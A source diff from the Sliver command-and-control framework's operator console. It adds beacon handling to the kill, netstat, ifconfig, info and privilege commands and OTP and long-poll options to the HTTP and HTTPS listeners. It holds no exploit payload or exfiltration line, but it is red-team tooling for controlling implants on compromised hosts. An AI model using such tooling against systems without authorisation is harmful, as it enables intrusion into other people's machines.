func ParseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
@@ -408,7 +421,8 @@ func parseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseDNSc2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseDNSc2 - Parse DNS connection string arg
|
||||
func ParseDNSc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
@@ -433,7 +447,8 @@ func parseDNSc2(args string) []*clientpb.ImplantC2 {
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseNamedPipec2 - Parse named pipe connection string arg
|
||||
func ParseNamedPipec2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
@@ -454,7 +469,8 @@ func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
|
||||
func ParseTCPPivotc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
@@ -550,7 +566,7 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
|
||||
|
||||
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintWarnf("Failed to check target compatibility: %s\n", err)
|
||||
con.PrintErrorf("Failed to check target compatibility: %s\n", err)
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -585,7 +601,7 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
|
||||
}
|
||||
|
||||
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
|
||||
con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
|
||||
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
|
||||
switch targetOS {
|
||||
case "windows":
|
||||
con.PrintWarnf("The server cannot find an installation of mingw")
|
||||
|
||||
@@ -45,8 +45,15 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
groups := make(map[string]*grumble.Commands)
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
if con.ActiveTarget.GetSession() != nil {
|
||||
if con.ActiveTarget.GetSession().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
|
||||
targetOS := ""
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session != nil {
|
||||
targetOS = session.OS
|
||||
} else if beacon != nil {
|
||||
targetOS = beacon.OS
|
||||
}
|
||||
if beacon != nil || session != nil {
|
||||
if targetOS != "windows" && key == consts.SliverWinHelpGroup {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
|
||||
@@ -66,8 +66,9 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
"Hostname",
|
||||
"Operating System",
|
||||
"Sessions",
|
||||
"Beacons",
|
||||
"IOCs",
|
||||
"Extension Data",
|
||||
"Extensions",
|
||||
})
|
||||
for _, host := range hosts {
|
||||
var shortID string
|
||||
@@ -81,6 +82,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
})
|
||||
@@ -100,6 +102,24 @@ func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) strin
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
}
|
||||
|
||||
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return "Error"
|
||||
}
|
||||
count := 0
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.UUID == hostUUID {
|
||||
count++
|
||||
}
|
||||
}
|
||||
if count == 0 {
|
||||
return "None"
|
||||
} else {
|
||||
return fmt.Sprintf("%d", count)
|
||||
}
|
||||
}
|
||||
|
||||
// SessionsForHost - Find session for a given host by id
|
||||
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
|
||||
@@ -32,6 +32,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
@@ -45,7 +46,6 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
|
||||
} else if beacon != nil {
|
||||
@@ -65,8 +65,6 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
|
||||
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
|
||||
// con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, beacon.PollTimeout)
|
||||
// con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, beacon.ReconnectInterval)
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
|
||||
@@ -20,6 +20,7 @@ package jobs
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -31,15 +32,29 @@ func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
domain := ctx.Flags.String("domain")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
disableOTP := ctx.Flags.Bool("disable-otp")
|
||||
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
|
||||
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: ctx.Flags.String("website"),
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: false,
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
Domain: domain,
|
||||
Website: ctx.Flags.String("website"),
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: false,
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,6 +21,7 @@ package jobs
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -34,6 +35,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
|
||||
disableOTP := ctx.Flags.Bool("disable-otp")
|
||||
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
cert, key, err := getLocalCertificatePair(ctx)
|
||||
if err != nil {
|
||||
con.Println()
|
||||
@@ -43,15 +56,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
|
||||
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
|
||||
Domain: domain,
|
||||
Website: website,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: true,
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: ctx.Flags.Bool("lets-encrypt"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
Domain: domain,
|
||||
Website: website,
|
||||
Host: lhost,
|
||||
Port: uint32(lport),
|
||||
Secure: true,
|
||||
Cert: cert,
|
||||
Key: key,
|
||||
ACME: ctx.Flags.Bool("lets-encrypt"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
EnforceOTP: !disableOTP,
|
||||
LongPollTimeout: int64(longPollTimeout),
|
||||
LongPollJitter: int64(longPollJitter),
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package sessions
|
||||
package kill
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -32,33 +32,48 @@ import (
|
||||
|
||||
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
|
||||
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
con.PrintWarnf("No active session\n")
|
||||
return
|
||||
}
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
// Confirm with the user, just in case they confused kill with terminate
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Kill the active session?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
promptSession := &survey.Confirm{Message: "Kill the active session?"}
|
||||
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
|
||||
if session != nil {
|
||||
survey.AskOne(promptSession, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillSession(session, ctx.Flags.Bool("force"), con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
}
|
||||
|
||||
err := killSession(session, ctx.Flags.Bool("force"), con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
if beacon != nil {
|
||||
survey.AskOne(promptBeacon, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
con.PrintErrorf("No active session or beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
if session == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
},
|
||||
@@ -66,3 +81,17 @@ func killSession(session *clientpb.Session, force bool, con *console.SliverConso
|
||||
})
|
||||
return err
|
||||
}
|
||||
|
||||
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
|
||||
if beacon == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
BeaconID: beacon.ID,
|
||||
},
|
||||
Force: force,
|
||||
})
|
||||
return err
|
||||
|
||||
}
|
||||
@@ -46,7 +46,7 @@ func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if filter == "" {
|
||||
allLoot, err = con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintWarnf("Failed to fetch loot %s\n", err)
|
||||
con.PrintErrorf("Failed to fetch loot %s\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Extensions
|
||||
Macros
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
@@ -20,22 +20,26 @@ package network
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// IfconfigCmd - Display network interfaces on the remote system
|
||||
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
@@ -43,14 +47,47 @@ func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
all := ctx.Flags.Bool("all")
|
||||
if ifconfig.Response != nil && ifconfig.Response.Async {
|
||||
con.AddBeaconCallback(ifconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, ifconfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintIfconfig(ifconfig, all, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ifconfig.Response)
|
||||
} else {
|
||||
PrintIfconfig(ifconfig, all, con)
|
||||
}
|
||||
}
|
||||
|
||||
for ifaceIndex, iface := range ifconfig.NetInterfaces {
|
||||
con.Printf("%s%s%s (%d)\n", console.Bold, iface.Name, console.Normal, ifaceIndex)
|
||||
// PrintIfconfig - Print the ifconfig response
|
||||
func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
interfaces := ifconfig.NetInterfaces
|
||||
sort.Slice(interfaces, func(i, j int) bool {
|
||||
return interfaces[i].Index < interfaces[j].Index
|
||||
})
|
||||
hidden := 0
|
||||
for index, iface := range interfaces {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableWithBordersStyle(con))
|
||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name))
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Name: "#", AutoMerge: true},
|
||||
{Name: "IP Address", AutoMerge: true},
|
||||
{Name: "MAC Address", AutoMerge: true},
|
||||
})
|
||||
rowConfig := table.RowConfig{AutoMerge: true}
|
||||
tw.AppendHeader(table.Row{"#", "IP Addresses", "MAC Address"}, rowConfig)
|
||||
macAddress := ""
|
||||
if 0 < len(iface.MAC) {
|
||||
con.Printf(" MAC Address: %s\n", iface.MAC)
|
||||
macAddress = iface.MAC
|
||||
}
|
||||
ips := []string{}
|
||||
for _, ip := range iface.IPAddresses {
|
||||
|
||||
// Try to find local IPs and colorize them
|
||||
subnet := -1
|
||||
if strings.Contains(ip, "/") {
|
||||
@@ -61,15 +98,30 @@ func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
subnet = -1
|
||||
}
|
||||
}
|
||||
|
||||
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
|
||||
con.Printf(console.Bold+console.Green+" IP Address: %s%s\n", ip, console.Normal)
|
||||
} else if 32 < subnet && !isLoopback(ip) {
|
||||
con.Printf(console.Bold+console.Cyan+" IP Address: %s%s\n", ip, console.Normal)
|
||||
} else {
|
||||
con.Printf(" IP Address: %s\n", ip)
|
||||
ips = append(ips, fmt.Sprintf(console.Bold+console.Green+"%s"+console.Normal, ip))
|
||||
} else if all {
|
||||
ips = append(ips, fmt.Sprintf("%s", ip))
|
||||
}
|
||||
}
|
||||
if !all && len(ips) < 1 {
|
||||
hidden++
|
||||
continue
|
||||
}
|
||||
if 0 < len(ips) {
|
||||
for _, ip := range ips {
|
||||
tw.AppendRow(table.Row{iface.Index, ip, macAddress}, rowConfig)
|
||||
}
|
||||
} else {
|
||||
tw.AppendRow(table.Row{iface.Index, " ", macAddress}, rowConfig)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
if index+1 < len(interfaces) {
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
if !all {
|
||||
con.Printf("%d adapters not shown.\n", hidden)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -22,17 +22,20 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// NetstatCmd - Display active network connections on the remote system
|
||||
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -42,6 +45,9 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
tcp := ctx.Flags.Bool("tcp")
|
||||
udp := ctx.Flags.Bool("udp")
|
||||
|
||||
implantPID := getPID(session, beacon)
|
||||
activeC2 := getActiveC2(session, beacon)
|
||||
|
||||
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
TCP: tcp,
|
||||
@@ -54,10 +60,22 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
displayEntries(netstat.Entries, con)
|
||||
if netstat.Response != nil && netstat.Response.Async {
|
||||
con.AddBeaconCallback(netstat.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, netstat)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
})
|
||||
con.PrintAsyncResponse(netstat.Response)
|
||||
} else {
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
}
|
||||
}
|
||||
|
||||
func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsoleClient) {
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
|
||||
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
|
||||
const IPv4Strlen = 17
|
||||
addr := skaddr.Ip
|
||||
@@ -71,30 +89,48 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
|
||||
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
|
||||
}
|
||||
|
||||
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
for _, e := range entries {
|
||||
p := ""
|
||||
if e.Process != nil {
|
||||
p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable)
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"Protocol", "Local Address", "Foreign Address", "State", "PID/Program name"})
|
||||
|
||||
for _, entry := range netstat.Entries {
|
||||
pid := ""
|
||||
if entry.Process != nil {
|
||||
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
|
||||
}
|
||||
srcAddr := lookup(e.LocalAddr)
|
||||
dstAddr := lookup(e.RemoteAddr)
|
||||
if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr, con) {
|
||||
con.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n",
|
||||
console.Green, e.Protocol, srcAddr, dstAddr, e.SkState, p, console.Normal)
|
||||
srcAddr := lookup(entry.LocalAddr)
|
||||
dstAddr := lookup(entry.RemoteAddr)
|
||||
if entry.Process != nil && entry.Process.Pid == implantPID {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, srcAddr),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, dstAddr),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.SkState),
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, pid),
|
||||
})
|
||||
} else {
|
||||
con.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n",
|
||||
e.Protocol, srcAddr, dstAddr, e.SkState, p)
|
||||
tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
|
||||
parts := strings.Split(dstAddr, ":")
|
||||
if len(parts) != 3 {
|
||||
return false
|
||||
func getActiveC2(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.ActiveC2
|
||||
}
|
||||
c2Addr := strings.Split(con.ActiveTarget.GetSessionInteractive().ActiveC2, "://")[1]
|
||||
return strings.Join(parts[:2], ":") == c2Addr
|
||||
if beacon != nil {
|
||||
return beacon.ActiveC2
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
|
||||
if session != nil {
|
||||
return session.PID
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.PID
|
||||
}
|
||||
return -1
|
||||
}
|
||||
@@ -19,17 +19,15 @@ package operators
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// OperatorsCmd - Display operators and current online status
|
||||
@@ -45,46 +43,24 @@ func OperatorsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func displayOperators(operators []*clientpb.Operator, con *console.SliverConsoleClient) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
fmt.Fprintln(table, "Operator\tStatus\t")
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Operator")),
|
||||
strings.Repeat("=", len("Status")),
|
||||
)
|
||||
|
||||
colorRow := []string{"", ""} // Two uncolored rows for the headers
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Status",
|
||||
})
|
||||
for _, operator := range operators {
|
||||
// This is the CA, but I guess you could also name an operator
|
||||
// "multiplayer" and it'll never show up in the list
|
||||
if operator.Name == "multiplayer" {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online))
|
||||
if operator.Online {
|
||||
colorRow = append(colorRow, console.Bold+console.Green)
|
||||
} else {
|
||||
colorRow = append(colorRow, "")
|
||||
}
|
||||
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
lines := strings.Split(outputBuf.String(), "\n")
|
||||
for lineNumber, line := range lines {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
con.Printf("%s%s%s\n", colorRow[lineNumber], line, console.Normal)
|
||||
tw.AppendRow(table.Row{
|
||||
console.Bold + operator.Name + console.Normal,
|
||||
status(operator.Online),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func status(isOnline bool) string {
|
||||
if isOnline {
|
||||
return "Online"
|
||||
return console.Bold + console.Green + "Online" + console.Normal
|
||||
}
|
||||
return "Offline"
|
||||
return console.Bold + console.Red + "Offline" + console.Normal
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Prelude Operator
|
||||
=================
|
||||
|
||||
Connection code for [Prelude Operator](https://www.prelude.org/)
|
||||
@@ -51,10 +51,10 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, sess := range sessions.Sessions {
|
||||
err = sessionMapper.AddSession(sess)
|
||||
for _, session := range sessions.Sessions {
|
||||
err = sessionMapper.AddSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
@@ -1,15 +1,5 @@
|
||||
package privilege
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
@@ -28,38 +18,65 @@ import (
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var processName string = "Current Process"
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// GetPrivsCmd - Get the current process privileges (Windows only)
|
||||
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if session.OS != "windows" {
|
||||
con.PrintErrorf("Command not supported on this operating system.")
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
